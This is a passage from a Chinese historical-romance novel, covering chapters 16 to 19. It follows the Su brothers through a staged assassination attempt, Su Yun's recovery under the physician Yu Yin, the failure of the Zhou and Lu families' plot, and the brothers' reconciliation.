走近才见他肋下有伤,立刻道:“受伤了?快坐下,我看看。”
苏骏坐下,瞟了她一眼:“你都知道啊?”
宋依依只顾给他除外衣,随口道:“当然。你不吃酒食、不穿软靴,不让她摸你后背。你不是宠她,是防她——这还不明显?”
掀开中衣,才看清绷带里渗的血,不由低呼:“怎么伤了这么大片?”
苏骏看着她,嘴角微扬:“就擦了点皮,为去毒才烧了一下。没事。”
宋依依抿嘴,竟恼了起来:“没事没事,你总是这样!明知道她是刺客,为什么不早点动手?”
“苏昀要设局,我这头若先破,不就打草惊蛇了?况且等她动手,总能多收几个同党嘛。”
苏骏说得轻松,却见宋依依似是真生气了,脸撇到一边。
他便伸手绕过她腰,凑近了些:“依依。”
宋依依本想甩开,又怕牵着他伤口,只好嘴里凶道:“你干什么?别闹。”
苏骏一言不发,手却探入她衣中,动作不急,却十分坚定。
呼吸渐重。
宋依依哭笑不得。都伤成这样了,还这么有劲?
心头一软,终是没推开,只轻轻扶住他肩,小心地、慢慢地,迎合了他的吻。
吻着吻着,他的身体就往下滑。
宋依依忙扶住,定睛一看——
这人竟然睡着了!
宋依依愣了一下,实在觉得又心酸又好笑。
只得亲手把他安顿下来,脱了鞋,盖上被子。不一会儿,耳边便响起低低的鼾声。
抱着刺客“睡”了十天,时刻提防,哪敢真的合眼?
自然是累坏了。
宋依依用手背摸了摸他的脸,留恋了一会儿。
她轻声道:“睡吧。”
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苏骏累过了劲,一松下来,整个人便昏死过去。大睡了一天一夜。
再醒来,天还未大亮,透着一点微光。
宋依依在旁边睡着。
未施脂粉,眉眼更显柔和。长睫覆下,一如旧年江北水畔,垂柳依依。
苏骏看着她,忽然起了点玩心,去碰了碰她的睫毛。
那睫毛轻轻颤了一下。
宋依依轻哼了一声,翻过身去,含糊不清地叫:“别弄……”
显然完全没醒。
苏骏不由笑了一下,并第一次闪过了一个念头——
有她在身边真好。
要是能一辈子这样,似乎……也挺不赖。
就这样一边胡想着,一边起身伸了个懒腰,慢吞吞地往外走。
随身兵见他总算醒了,赶紧凑上来:“将军,歇得还好?夫人吩咐了锅里温着汤,小的给您下碗面?”
苏骏这才发现自己饿得要命,应了声“唔”。又问:“建康有信么?”
另一个随身兵则道:“有,飞鸽来的。小的这就去取。”
不一会儿,汤面来了,信也来了。
苏骏一边大口嗦着面,一边展开纸条。
“初八巳时,大兴北口,亲见苏司徒出行,随行二人。”
登时把筷子一扔,怒喝:“备马!召集轻骑全营,一刻后出发——回建康!”
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大兴这头,初八午后。
苏昀慢慢地走完了义田,转头对随行官吏道:“有点头疼,我先回客栈歇一下,晚点再去义学。你们不必跟着了。”
众人皆应了“是”,目送他敛衣上车。
一上车,随行护卫便附耳道:“大人,去客栈一路暗哨已就位。前后皆有眼,后仓、驿墙和西巷也布了伏。”
苏昀应了一声:“好。”
便安静地将一双短刀纳入袖中。
护卫看了又看,实在没忍住:“大人真的要这么做么?替身就藏在客栈中,随时可以调用。要不……”
苏昀道:“做好你自己的事。”
护卫只好不再言。
苏昀闭上眼,调整呼吸。
替身终究太假。唯有一刀落身,方可封众人之口。
侧门下车,旋身半步,空出右肩破绽。见血、卸力,只要这一刀——
车轮一顿,外头有人禀报:“大人,前方修路,咱们得绕后仓过。”
苏昀淡淡道:“好。”
便是这里了。
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本想避开、想一想清楚,他却偏偏也来了。
于茵轻叹一声,一早便借口去仓库清点药品,避开他的巡视。
午后有个小吏从义田回来,靠在仓口和人吹牛,说司徒大人如何低调亲民,问话如何温和有礼,说得天上有地下无。
于茵听得心烦,低头绕过他们,往后仓去了。
后仓只开了半扇门,对着一条僻静的小巷。一群小厮正忙着冲水、洗地,还有人在粉刷墙面。人人低头干活,却一个都不说话,气氛有些凝滞。
于茵正觉古怪,忽听外头惊叫一声:“有刺客!保护司徒!”
紧接着,便是箭鸣四起,人声大乱。
仓内众人倏然停手,纷纷从草堆、箱匣中拔出兵刃,贴墙而立。
于茵悬着一颗心,眼看一辆官车在门外停下,苏昀从车中跃出,似要避入后仓中——
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>她想也不想,便冲了出去:“有埋伏,别进!”
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苏昀一下车,竟听见了于茵的声音。
一瞬还以为是错觉——回头一看,她竟不顾一切地朝自己奔来。
此时箭声方止,风声乍起。一刀自身后袭来,角度正对他原拟让出的右肩。可她从侧面来,若不拦便会直撞上刀锋。
来不及多想,他踏出半步,将她猛然揽入怀中——
那一刀直刺入胸,鲜血迸涌!
“苏昀!”于茵惊叫。
连刺客也怔住一瞬,退了半步。苏昀强忍剧痛,抽出袖中短刃,以左手反击,一刀准确地斩在对方肩颈,登时骨裂清响!
那人惨叫倒地,手中麻袋、绳索散了一地。
仓中伏兵齐出,杀声骤起。
苏昀只勉力留了一句:“留活口。”
便任护卫放出烟雾弹,将自己与于茵一并掩入民居夹层之中。
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于茵脑中一片空白,半跌半撞地被人提进了内室。
刚回过神,便扑到苏昀身前。“先稳心脉,拔刀,然后缝针。有我在,你不会有事,别怕……”
那句“别怕”重复了三遍,也不知是讲给谁听。
她慌乱地从随身药囊里,翻出一颗护心丸碾碎,塞入他口中。而后想去握他背后那把短刀,却发现自己手在抖,根本控制不住。同时眼泪也如决堤般落下——
心中狂骂自己,冷静!于茵你的冷静呢?
他需要你!
“没事。”苏昀伏着身,极费力地道,“让他们来。你歇一会……”
她回头,才发现身后站着两名大夫,手持药粉与绷带,只因她挡在前面,无法下手。
她忙让开身位,大夫们立刻上前。一个用刀割开衣物,另一个撒药止血镇痛,同时低声交换判断——“血量大,再叠两层纱布。”“脉相不稳,得兑点回阳散。”
“我有!”于茵立刻去找。索性就将药囊胡乱倒在地上,忙忙地翻出药粉,便兑水递去。
一切就绪,大夫问:“大人,准备拔刀了。可以吗?”
苏昀微点头,又轻声唤:“于茵,别看……”
于茵只觉天地塌陷。
她说不出话,只能带着满面的泪水,转过身去。
大夫轻数:“三、二、一——”
噗地轻响,苏昀闷哼一声。像是血肉里生生抽出什么。
鲜血喷溅,汩汩地渗透了纱布。
于茵将头埋在臂间,轻微地发着抖。
不知过了多久,才有人来告知:“伤口虽深,好在只伤肺尖。血止了,脉也稳下来了——于大夫可以放心些。”
她仍埋着头,轻轻点了下。
又许久,她才慢慢地起身,走去他身边。
苏昀仍是伏卧着,身上缠着厚厚的纱布,脸色极白。正闭目小憩。
他听见脚步声,便睁眼,正想说点什么。
于茵立刻道:“别说话。”
又把声音放缓,“我没事。你睡一会儿吧。”
她取帕,细细拭去他额上的冷汗。
苏昀心中一千一百句抱歉和安慰,都没说出口。
他们就这样安静地待着,直到他浅浅地睡了过去。
于茵俯身,将他散落的发丝拢到耳后。就像他在诊间睡着时一样。
可这一次,她心里却从未如此清楚——
她不是在做医者该做的事。
这个人,于她而言——
早已不可或缺。
16. 奔赴
“重伤失踪?”
周祺腾地站了起来,怒吼:“说了轻伤绑走,不伤性命——你们办的都是什么事!”
来禀的人吓得瑟瑟发抖,半个字也不敢说。
“先找人!生要见人,死要见尸——他人必须在我手上!”
周祺在屋中转了两圈,“再探宫中动静,盯紧城防调令,集结田中私兵待命。快去!”
几人应声而退,仓皇奔走。
周祺坐立不安,不断催人探报。果然消息传回建康,满城震动。琅琊王大惊失色,立刻调兵,全力增援大兴。
城防已有缺口,苏昀却仍不知所踪。
他正焦灼间,门被猛地推开——“周祺!”
曹淑英闯进屋来,劈头便骂:“你还等什么?再不动手,就来不及了!”
周祺沉着脸:“你懂什么!苏昀没拿下,我怎么逼宫?等苏骏带兵回京,我又拿什么压他?”
曹淑英怒不可遏:“我的人都把苏骏迷晕头了,还怕拿不下?”
再逼近,“真要失手,你就攻苏府,先拿他家女眷——他还不照样就范?”
周祺头上青筋暴起:“我手上连张牌都没有。现在动苏府、闯王宫,不是平乱,是谋逆——我只能等!”
曹淑英还待说话,门口却有人踉跄闯入:“老爷,不好了!”
二人齐齐抬眼,只听来人上气不接下气地禀:“清凉山里突然冲出大批士兵,把咱家的人团团围了!”
周祺霍地站起:“什么人?”
“是镇东营。领头的是个苏家旧将,叫……叫张彦。”
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一时间司徒失踪,清凉山兵动,周家庄口被围。内外一片混乱。
说是苏骏震怒反击,可人远在武昌,根本鞭长莫及。说是周家行刺逼宫,却又被镇东营死死控住。一时间琅琊王也不知谁要动手,要干什么——
只能先把亲兵调回王宫,极力加大防卫,杜绝任何人等进出。
朝臣进不来,可奏章却如雪花一般地送来。
有的劝他先拿张彦,试探镇东营意图。有的咬定周家谋逆,主张立刻收押。一时间众说纷纭,个个逼他表态。
琅琊王只觉头疼难当,一个也不想看。倒回床上,一夜辗转反侧不成眠。终于到天际微亮时,消息传来——
苏昀回城了。
许多人亲见,是由担架抬回府中,一身血衣、面色极差。
琅琊王即刻差人去探问。不多时,苏府送来三折奏章,皆由苏昀口述:一谢主上挂念,称无性命之虞;二劝朝堂勿乱,安民为先;三命镇东营不得妄动,一切军调归奉于琅琊王亲属。
随即张彦上交兵符,陈词称:昨日调度皆因周家私兵异动,有不轨之嫌,已向大理寺报备。再查,果然早有备案,只因平日奏报繁多,琅琊王根本不曾留意。
同时数名刺客先后落网,皆供系周家所雇。
如此又折腾了一日。直至初九夜间,总算才明目清楚、万事暂安。
.
琅琊王独坐在永安阁中。
只剩下一身疲惫。他扶着额,斜靠在椅背上。
角门轻响,有人悄然入内。
将一盏羹汤与热茶轻轻放下,又默然地将先前的汤撤走,正欲转身离去——
“许生。”
琅琊王没有动,甚至没有睁眼。
许生微顿,便轻轻地下跪:“主上。”
嗓音那么柔和,正熨贴到人的心底去。
琅琊王仍未睁眼,只缓声问:“你每半个时辰就来一趟,却不说话。是什么意思?”
许生垂首:“主上为国事忧愁,许生无用,只盼殿中茶暖汤热,不扰清静。”
琅琊王终于睁眼,慢慢地看了他一眼。
还是那样清秀的少年,红带细腰,瘦零零的身段,令人怜惜。
“茶暖有什么用?”
琅琊王轻笑了一声,“本王身边豺狼环伺,只怕这副皮囊都快不保了。”
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许生顺从道:“茶虽不能挡爪牙,却能缓一口气。主上不过一时乏了,歇过这一息,仍是世上最难挡的局手。”
他再拜,语声低柔:“许生愿为主上暖身,亦暖心。”
说罢,便轻轻抬起眼。
那双秋水般的眸子,早已是柔情一片。
琅琊王微微一顿,目光掠过他眉眼,忽而抬手,捏住他下颌,将他脸慢慢抬起。
“……暖身,吗?”
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旷野之中,一人一马狂奔而过。红袍翻飞。
所过之处,野草发出簌簌的急响,惊鸟腾空。
一连数日,苏骏几近不眠不休地狂奔。所带的轻骑营早就顶不住了,任他如何催促、呵斥,众人都像老驴般一步三颤,拖泥带水。
他一怒之下,索性将人马全数抛在后头,独自一人上路。
每五十里,在驿站换马、灌水,缓过气,又接着不要命地跑。
终于,在第六日清晨,他冲进了建康。
满街行人避让不及,一路鸡飞狗跳。他却不管这些,一口气连人带马地冲进水榭里,一勒缰,马蹄高扬。
等不及蹄声落下,他已翻身跃下——“哥!”
宁伯赶紧去拦这一团风火:“二公子轻点儿,公子才吃了镇痛睡下。”
苏骏嘴唇干裂,喘息:“睡着是吧?睡着好……我看看,我就看一眼……”
几乎是前言不搭后语的,踉跄着进了门。
里屋点着安神香,很静。
苏昀侧卧在床上,脸色白如纸,却是在沉稳地呼吸着。一呼、一吸。
苏骏走到床边,坐下。什么也不说,什么也不做,只静静地望着他。
一呼,一吸。
像是要把这每一口气都刻进脑子里。
过了一会儿,他缓缓起身,走出房门。
宁伯跟着去送,却看见——面前那人突然地、整个地倒了下去。
“二公子!”“将军!”
17. 收局
苏骏整个人像散了架一样地睡。睡到醒来,仍气息紊乱。
宁伯按住他的肩:“二公子别动,大夫说您惊劳交加,得好好静养几日才行。”
苏骏好像不认人似的,盯了他半天,才恍惚地嘟囔了一句:“老子没病。”
便勉力撑起身,坐在床边,把头埋进掌心里醒神。
宁伯亲自去盛了碗白粥,配两样小菜端来。“来,先垫垫肚子吧。”
苏骏半晌才把手拿开,一看吃的就皱眉:“这什么?我不吃苏昀那些。”
宁伯好好地劝:“是老夫人吩咐的。您几天没怎么吃,这时候哪能碰荤腥?就吃一点,晚上还炖了您爱喝的鸡汤呢。”
说到这里,苏骏便没再推,只闷声接了碗。
也不拿勺,直接把咸菜倒进粥里,仰头一口气喝完。
“慢点,您慢些——”
粥已下肚,人倒是精神了几分。
苏骏将碗往桌上一丢,终于开口:“你在我这儿,那苏昀呢?谁管他?”
“好几个大夫围着呢,您放心。”
苏骏皱眉:“大夫知道他什么脾气?你回去,别在我这晃。”
“那不成,公子再三叮嘱,让老奴守着您呢。”
宁伯又劝,“况且那于大夫也在呢。她是最体贴的,给公子看了三年了,哪怕眉头皱一下,她都知道哪儿不对——可比老奴明白多了。您就放心……”
苏骏上下看他,终于道:“什么意思?盯着我,怕我去周家杀人?”
宁伯忙摆手:“不是不是,您想多了……”
苏骏一把火又上来了:“不是个屁!就是!……他娘的,就这么信不过我吗?”
立刻穿鞋,一边穿外衣一边恨恨道:“梨月、婢女,团头、绣阁春掌柜,都跟着轻骑营,很快就到。”又从衣襟里翻出一把纸,往桌上一拍,“还有供词、往来银数,都在这里。这不就是他要的吗?拿去——别来烦我!”
便旋风一样地摔门走了。
任凭宁伯在后面连叫了几声:“二公子!”
.
果然两日后,几个指认卢家的人证也到了建康。
连同大兴那头的刺客,人证物证俱在,大理寺连夜急审,很快就判出周、卢两家意欲挟持重臣、逼宫夺权。判词将发,却被苏昀的一纸密令按下。
“暂缓。人情复杂,宜由主上亲裁。”
大理寺只得搁笔。
建康上下亦对此案多有揣测。有人私下说,证据这么全,援兵又到得这么快,莫非苏家自导自演?也有人说,若是自导自演,何必真去挨这一刀,险些丢了性命?若真想除掉周、卢,等他们动兵逼宫方是上策。
虽有议论,终究是没一个不服的。
上下皆知,苏昀南北共治之志不改,为稳江南,心意极诚。
顾荣也登门探望,让他放心:“大人安心休养。侨郡一案,便交由老朽去推。”
顿了顿,又压低声,“江南,知道了。”
苏昀微怔,笑了一下。
撑着床沿,略略起身,便算是送客。
.
朝中局势一片倒,纷纷要求严惩周、卢。偏偏苏昀一再上请,温和处理,不能再生嫌隙。琅琊王不知他是真心还是假意,难以定夺,心中愈发烦躁。
许生替他披上晨衣,理了理发带,语声轻淡:“主上何不亲去问问?司徒病中,倒也未见避人。昨儿顾大人还去了呢……”
琅琊王沉吟片刻,便令人备了许多补品,当真亲身去了。
一进屋,便见苏昀只着中衣,正被人搀着起身,欲行大礼:“主公……”
他登时一惊,疾步上前拦住:“宴之!你这是做什么?是要叫大哥心疼死了不成?”
便亲手将人扶回床上,口中还念念有词:“快躺下,别动、别动——”
苏昀按着胸口,微喘:“无妨。”
话音刚落,忍不住咳了一声,眉心拧紧,又强自稳住。
琅琊王一时语塞,不由皱眉:“你总是这样……哪回不是说无妨?”
顿了顿,又似想掩去那点情绪,摆手道:“罢了,今日我是来看你的,不与你争这口气。”
苏昀稍抬眼,嗓音仍微哑:“主公亲至,臣万分感念。”
琅琊王看他那一身的憔悴病态,实无作伪之状,语气也不由得柔和下来:“你若真感念,就莫再为这案子劳心了。”
说着,亲手理了理他榻边案几上的卷子,语气不紧不慢:“周、卢一案,证据俱在。我以为不能姑息。抄家、流放,让江南以后再没有这两家——你看如何?”
苏昀立刻道:“主公不可。”
顿了顿,方缓声道:“臣无意替人开脱,只是若罚得太重,难免有肃清旧党之嫌。只怕朝中再起动荡,百姓难安。”
琅琊王长看了他一眼,忽而一笑,轻拍了拍他的手背:“你呀,还是太心软!被人欺了,还替他回护——别说三弟,连我这个做大哥的都看不下去啊!”
苏昀垂眼:“主公放心,阿骏那边臣自会节度。断不会再生风波。”
略顿,又抬手从几案上取出一章折子,“另外清凉山动兵一案,虽有备案在前,终究惊扰了朝局。臣思来想去,始终觉得不妥。您看——”
琅琊王接来一看,竟写的是建康兵调,即日起请改由琅琊王亲署,非王令不得擅动。
他不由一愣:“这……”
苏昀微笑:“建康安防之事,关乎根本。阿骏常不在京,兵权难免旁归。臣身弱又不通军务,还是以为该节在主公手中,方为稳妥。您以为如何?”
琅琊王静了一会儿,方慢慢地笑:“你这人哪,就是不肯歇。伤成这样,心里还装着一堆事——这身子怎么能好?”
又将折子收了,“兵权这事,不急于一时。我回去再想想。你——”
便用手指了指他,“好好休息,这几天再递折子,我是一条也不会看的啊!”
苏昀笑了一下:“是。”
似是伤口又牵动了,微蹙了眉。
琅琊王见状,便起身理了理衣袍:“好了,今天不说了。你且安心歇着。改日——我再来看你。”
苏昀颔首:“恭送主公。”
宁伯把人送了出去,回过头来,见主子正靠在床头发怔。“公子,琅琊王走了。老奴看着,神色比进来时宽了一些。”
苏昀轻轻地“嗯”了一声。
宁伯宽慰:“如今满朝归心,主上也安,您也总算可以松一松、好好养养身子了。这一刀……可真伤得不轻。”
苏昀却叹:“还差一件。”
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宁伯微愣,仍去小心地扶他躺下。“二公子那头没事——您还不知道他么?这会儿就是躲着歇口气,等缓过劲,自个儿就来了……”
.
一连十天,苏骏独自躲到郊西旧营地去,什么也不干,就是睡。
睡得晨昏颠倒。有时深夜起身,在帐边啃一口冷馒头,有时正午裹着披风睡到傍晚。
醒来的时候也只是发呆,经常盯着帐顶,半天不动。有时拿着一封信,看了半个时辰也不开封。或者手里把玩着刀柄,不知道是要磨,还是忘了在拿。
随行兵士吓得不轻,传回营里更是人人担忧不已。连张彦都耐不住,悄悄去找宁伯:“你也想想办法,再这么耗下去,人都要散了。”
宁伯只皱着眉:“我知道。”
可他兄弟两个事,从来没人插得上手。也许除了——
.
“臭二哥,起床了!”
苏敏拽着苏骏一只手,生生把人拖到了床边。因人太重,只能咬牙道,“太阳、已经,晒屁股了!”
苏骏哼了一声,挣回手,翻身背对过去:“别闹。我困得很……”
苏敏才不肯让,又去扒在他耳边喊:“今天是大哥生辰,一定要全家吃饭的。你不去,他会很伤心的——快、醒、醒!”
苏骏半睁了一只眼,又把被子扯过头顶。“去什么,见了只有烦,不去!”
苏敏无奈,又扒在被子上问:“你真不去?”
“不去。”
“哪怕大哥昨个儿闷在房里哭,说对不起你,也不去?”
“……你别瞎掰扯。”
“真的,一个人哗哗地哭,宁伯都吓得不敢进屋。说什么‘我亲手把弟弟赶走了,天打雷劈’,还说‘就是全江南都拜在脚下,没有他又有什么意思,呜呜呜’……”
苏骏终于松开了点被子:“……你是不是脑子给风吹坏了?”
苏敏愁道:“可不是吗?从你进城不回家起,就坏掉了!家里没有二哥,可怎么过呀……”
说着便作势,嘤嘤地哭了起来。
苏骏给她哭得心烦意乱,把被子一掀,坐起来吼:“有完没完了?”
苏敏一抽一抽地哭:“没有了,大哥病得要死,二哥又不肯回家,我是再也没人要、没人疼了——”
便哇哇大哭起来。
假戏真做,居然真给她挤出了几滴眼泪。
苏骏整个人都乱了:“你干什么?”
笨拙地用手给她擦了一下脸,结果越擦越多,泪珠跟断线了似的。终于两手一举,“你厉害,算你厉害!”
便起身了。
苏敏立刻就不哭了,顶着红红的眼圈凑上去,喜笑颜开:“那你就是回咯?”
哭得比谁都惨,笑得比谁都快。
苏骏不得不心叹,要让这丫头上战场,怕是振臂一哭,就能把十万大军逼得缴械投降。
“回。不吃饭,成吗?”
苏敏把头点得如鸡啄米:“成,可太成了!”
又看了看苏骏这一头鸡窝的发,皱巴巴的中衣,“我就说,二哥非常重视,理发焚香沐浴更衣去了。”
苏骏青筋暴起:“苏、小、敏!”
苏敏才不理他,嘻嘻一笑,早已蹦到门口:“那二哥待会儿见咯?不见不散哦!”
18. 信任
苏骏刻意拖过了饭点才到。
到水榭门前,脚步不由自主地慢了下来。
厅里灯亮着,窗纸上映出几道身影。他站了一会儿,想了想要说什么、怎么面对。横竖也理不出个头绪,最后只能皱着眉,推门进去了。岂知——
门一推开,屋里一片叮当作响。
灯下围着一张小方桌,老夫人坐在上首,苏敏正兴致勃勃地抓牌,宁伯陪坐,还有一个人一身轻袍缓带,坐在边上——
苏昀。
他居然在打牌。
手里握着一张牌,指尖轻轻摩挲,像是在斟酌该不该出。
苏骏一时间怔住,站在门口没动。
老夫人第一个抬头,笑着唤他:“哎哟,阿骏回来了?”
便招呼小厮,“快,再挪一个椅子——你哥刚还问你什么时候来呢。”
苏昀则看了他一眼:“回来了?饭吃了吗?”
语气平平,像是什么都没发生,只是寻常问候。
苏骏张了张嘴,最后只骂了一句:“病人不学好,打什么牌。”
苏敏不以为意:“这叫活络筋骨、调养心气。大哥躺得都快发毛了,要打两圈怡情一下,才能好得快。哎——碰!”
苏骏无言以对,只道:“我去书房等你。”
苏昀简单地“嗯”了一声,似乎一心都在牌上。
苏骏转身欲走,忍不住又回头看了一眼。苏昀侧对着他,身后垫着两个靠枕,似不大舒服,趁人不注意,又轻微地调整了坐姿。
苏骏抿嘴,什么也没说,低头走了出去。
.
等了不多时,苏昀便过来了。步子很慢,背也挺得不全直。
进门只道:“都来了,怎么不早点呢……”
苏骏忍无可忍,砰地就拍了一下桌:“你给我装什么没事人!伤成这样还到处乱走,撑什么,给我看吗?嫌命长啊!”
苏昀按着胸口,慢慢地坐下:“小声点好吗?我伤还疼着。”
又道,“陪奶奶打牌是大事,谁跟你撑……”
苏骏瞪眼:“你别以为,喊两声疼我就能放过你。告诉你——”
却看见苏昀皱着眉头,额有微汗。气势终是散了大半。
只得坐下来,骂道:“疼死了活该。”
苏昀轻轻笑了一下,语气放缓:“别生气了。”
又道,“实话说,你气我骗你,可你不也骗了我吗?梨月根本不是提前处理的,你也压上了性命去赌——我后来知道,也是堵了半天的。”
苏骏嘴唇动了动,没说什么。
苏昀继续道:“当时情况那么乱、那么急,我怕你伤人,更怕你伤着自己。”
又恳切地看向他,“可现在都好了,都过去了。我答应你,这样的事不会再发生了……你就原谅我好吗,阿骏?”
那一声“阿骏”,直叫进苏骏心底最柔软的那处。
多久没听他这样唤自己了?
杀卢士瑶之后,大半年——他们连一句话也没说过!
他却把那点情绪压了回去,冷笑了一声:“苏昀,你真以为我还是小孩子,很好哄?”
苏昀微微一顿,低声唤:“阿骏……”
“别叫我!”
苏骏霍地转头,吼了出来:“不好使。你那些招数,早就不好使了!”
他咬着牙,一字一句像是挤出来的:“因为这样的事,还会发生一千次、一万次——因为你根本就不信我!”
苏昀怔住:“你怎么会这么想?我当然信你,我一直……”
苏骏摇头:“不,你没有!你只是安排我,护我、挡在我前面——我不要这些,苏昀!你明白吗?”
苏昀顿了一下:“……那你希望我怎么做?我可以改。”
苏骏抬起眼: “我要你信我、依靠
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我,把我当成能托付的人——你可以吗?”
那几个字近乎微颤,回声还未散尽。
屋中陷入死一般的寂静。空气仿佛滞住,连尘埃都轻得出奇。
许久之后,苏昀终于打破沉默:“我可以。”
苏骏看着他:“真的吗?”
对方还未答,他便自顾自接下去:“你看着,我会让你相信。”
苏昀也看着他,没有眨眼:“好,我看着。”
二人就这样对视了一阵,再没说话。
许久之后,苏敏在门外叫:“大哥二哥,你们聊完没有啊?奶奶想回去睡觉了。”
苏骏抹了一把脸,把眼眶里的湿意擦干。随后扬声应道:“好了,走吧!”
苏昀想起身送,却被苏骏一个眼神制止了:“给我老实待着。”又回头吼,“宁伯,你进来一下!苏昀要喝水。”
又再瞪了他一眼,大意是“别耍花招,歇好了”。
便大步出了门。
.
宁伯很快端了水进屋,第一眼便念叨起来:“哎呀,刚才还说不疼,这又一头汗了!大夫都说了,您还不能久坐的……”
便小心地扶他回床、宽衣躺下,又替他把被子盖上。
苏昀一直顺从着,没说一句话。
宁伯正要退下,忽又想起:“对了,二公子走前托了样东西——说是给您的生辰礼。”
便从怀中取出一个小巧礼盒,轻轻放在榻边。
苏昀看了一眼那盒子,静了片刻,轻轻道:“放着吧。”
宁伯识趣地没再多言,便悄声退了出去。
室内一片寂静。
那盒子静静躺着,里面是一支做工极细的铜金笔,管身刻着暗纹,光泽温润。夹着一张龙飞风舞的字条:“轻而不脆,怎折也不断。兄长但安心使!”
苏昀伏在榻上,喉头轻微一动:“阿骏……”
19. 改变
太阳打西边出来了。
一连两个月里,苏骏像换了个人似的。
从来早朝能逃就逃,现在居然日日准点到场,朝服整齐、发髻妥帖,连香丸都用了。下朝也亲笔批阅军文,原先一拖再拖的报告,不仅按时交,还写得头头是道。私下会去拜访顾荣,向他请教如何制衡地方、优化军饷。甚至琅琊王偶感风寒,都能收到他问安的帖子。
满朝文武都大眼瞪小眼——
这位苏将军,还是本人吗?
随身兵将都知道,是,是本人,但是似乎比脾气臭的时候更恐怖。
军饷账目能耐着性子听完汇报,还不时点头,“说得有理”。巡营时见人动作不规范,不再破口大骂,居然亲自示范,手把手教到对方学会为止。
让众人在“如沐春风”和“如坐针毡”之间反复横跳,个个在心里冒汗:应该只是暂时的吧?这能持久吗?不敢相信啊……还有人晚上烧香,将军怕不是中邪了,可别出什么事……
只有苏昀心照不宣,十分淡定。
偶尔听人禀报,也不过笑一笑:“他本来就脾气不坏。”
人人听了都叽里咕噜的:真的吗……咱怎么没觉得……亲哥也不要太离谱……
同时苏昀的身体逐渐好转,开始断断续续地回朝理事,奏章也一封封地看了起来。这日傍晚,苏骏做完自己的事,又转来水榭蹭饭。
苏昀仍安静地坐在书桌前,提笔批写。批过的、未批的文件各分一堆,条分缕析,一件件处理,神色沉稳。
苏骏在一旁等饭,先装模作样看了会儿兵书,又东摸摸西看看。最后叼着个果子,绕来看他写字,随口问:“哎,怎么不用我送的笔啊?用不惯么?”
苏昀“嗯”了一声:“还是细杆的顺手些。”
苏骏翻了个白眼,这位老哥一向事多毛病多,没送到心坎上也挺正常。自然没往心里去,刚啃了口果子,却听他淡淡地又补了一句——
“而且我现在不折笔了。”
“啊?”
苏骏将信将疑地看去,一边咕哝着,“怎么改过来的?都十几年了……”
忽然顿住了。
苏昀自幼文武兼修,因心性紧执,握笔一向过于用力。如今却只是松松地捻着,笔锋也软了下去,显然气力不支。
苏骏半晌才道:“右手没力么?”
苏昀语气平淡:“嗯,稍一使劲就牵着胸疼。大夫说,以后怕是再不能挽弓、使刀了。”
见对方神色沉了下去,又笑着补,“没事啊,我现在又用不上那些。有事不是你护着我么?”
苏骏还是闷着,没回答。
苏昀笑:“是你要我信你的——现在连这点事都跟你说了,高兴点,好吗?”
许久,苏骏终于开口:“周家的还是饶得太轻。”
废了兄长一身苦修的武艺,留下终身伤痛——竟只是个调职了事?
“阿骏。”苏昀面色微沉。
苏骏看了他一眼,忽地咧嘴一笑:“我就骂他一句,又不干什么。杀个卢狗,你就得自伤一刀。我还能干啥?放心。”
说着拍了他一下,起身舒了舒肩臂,“我去看看饭还要多久——饿死了。”
苏昀望着他离去的背影,不由一笑。
垂眸看了眼笔尖,停顿片刻,又默然地、重新埋首到案卷之中。
.
有人变近了,却也有人远了。
苏昀伤重时,于茵时刻寸步不离。渐好起来之后,却发现她似乎在一步步地远去。
仁心堂的东西全由人代交。来看诊时,再也不一个人来,总要带个见习弟子。来时话也很少,不开玩笑、不肯多坐半刻,做完事就走。
终有一日,他实在没忍住,问了一句:“最近都好么?”
于茵一顿,微笑:“很好,多谢大人。”
苏昀又问:“有没有我能帮得上的?”
于茵想了想,轻声道:“最近腰不太好,走远路有些吃力。”
又补了一笑:“不知下次复诊,能否让小赵自己来?他把大人的病症、药方都背得熟极了,也该慢慢上手了。”
苏昀默然了一下,转而微笑:“好,那你多休息。”
于茵走了以后,他独自坐着静了一会儿。
宁伯端着药盏过来,小心措辞了一下:“公子,今儿于大夫看诊的时间很短啊。可是一切顺利?”
苏昀轻轻地“嗯”了一声。
宁伯把茶放下,替他寻思:“是不是前段时间累着了?”
苏昀接了药,垂眼:“可能是,吓到了吧。”
毕竟经历刺杀这种事,谁不后怕呢?不愿再靠近,也是情理之中的事。
分明这样想着,心里却好像塌了一块似的,空空落落地沉下去。
他喝了一口药,皱起眉:“……好苦。”
宁伯好声地劝:“良药苦口。湿气重就冷,喝了药才能驱驱寒。”
见他仍不动,只得又哄:“等过两天搬了家,屋里一暖起来,兴许这药就不用天天喝了。快喝吧,老奴后面还备了糖水……”
.
苏昀后知后觉。搬家那日,刚进门,听一声齐喊:“恭贺苏大人乔迁新居!”
一串鞭炮随即炸响。
这才惊觉,自己是真的搬家了。
他向来偏爱
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水边清静,明知对身体不好,也觉值当。奈何这次伤重,夜里反复冷醒,全家人变着花样轮番来劝。最终是没拗过,答应了。
此时仁心堂的孩子们全涌上来,让他一下猝不及防。各式“贺礼”潮水般地涌来——香囊、糖果、画作、题字……
苏昀一手接不过来,只得连连微笑应着。
阿山捧出一本蓝皮册:“我和于思成合写了一篇‘贤德论’,献给大人。”
苏昀笑:“是吗?我看看。”
低头一看,封面赫然四字:《苏公十善》。
“……”
瞬间失去了翻页的勇气。
于思成立刻催促:“苏哥哥快看嘛!”
苏昀只好忍着尴尬,翻了几页。第一页谈施政安民,第五条讲南北共治,行文浅拙却认真,仿佛真在书写千古仁政。
抬起头,只见两个小孩一左一右,满眼写着“快夸我”。他勉强笑道:“……写得很好。”
刚想合上,于思成抢着开口:“其实原来是我写的,他硬说写得太浮,非要抢去改一遍。”
阿山则道:“是他文中许多引用不当,我怕大人看了心烦,才帮他重写的。”
“明明是你抄我的,还抄得乱七八糟!”
“你原来那篇,能看么?”
苏昀无奈又好笑,只好又担起了劝架的责任。
回过头来,只见院中阳光正暖,纸花摇晃,鞭炮的烟气未散。苏骏正挨个巡房间,一路挑挑拣拣:屋小、窗太矮,哪哪都不顺眼。宋依依跟在后面,随手帮他整理。苏敏、宁伯则忙进忙出,指点东西该放哪儿。
老夫人过来拉着手道:“这草庐就在家对街,你可以常来吃饭。好好养身,别叫人担心……”
.
待人都散去,苏昀入里屋休息。
只见屋内开间不大,却极妥帖。榻边凹出一方壁龛,正好置炉设案。侧面有半围的小书房。屋顶做了挑高,光线温和,一进来便觉气息清朗,处处合他心意。
苏昀一顿,微笑:“阿敏还有这本事。”
宁伯端了茶过来,犹豫了一下:“三小姐是看了不少地方……不过这间是于大夫挑的。”
苏昀一怔:“于茵?”
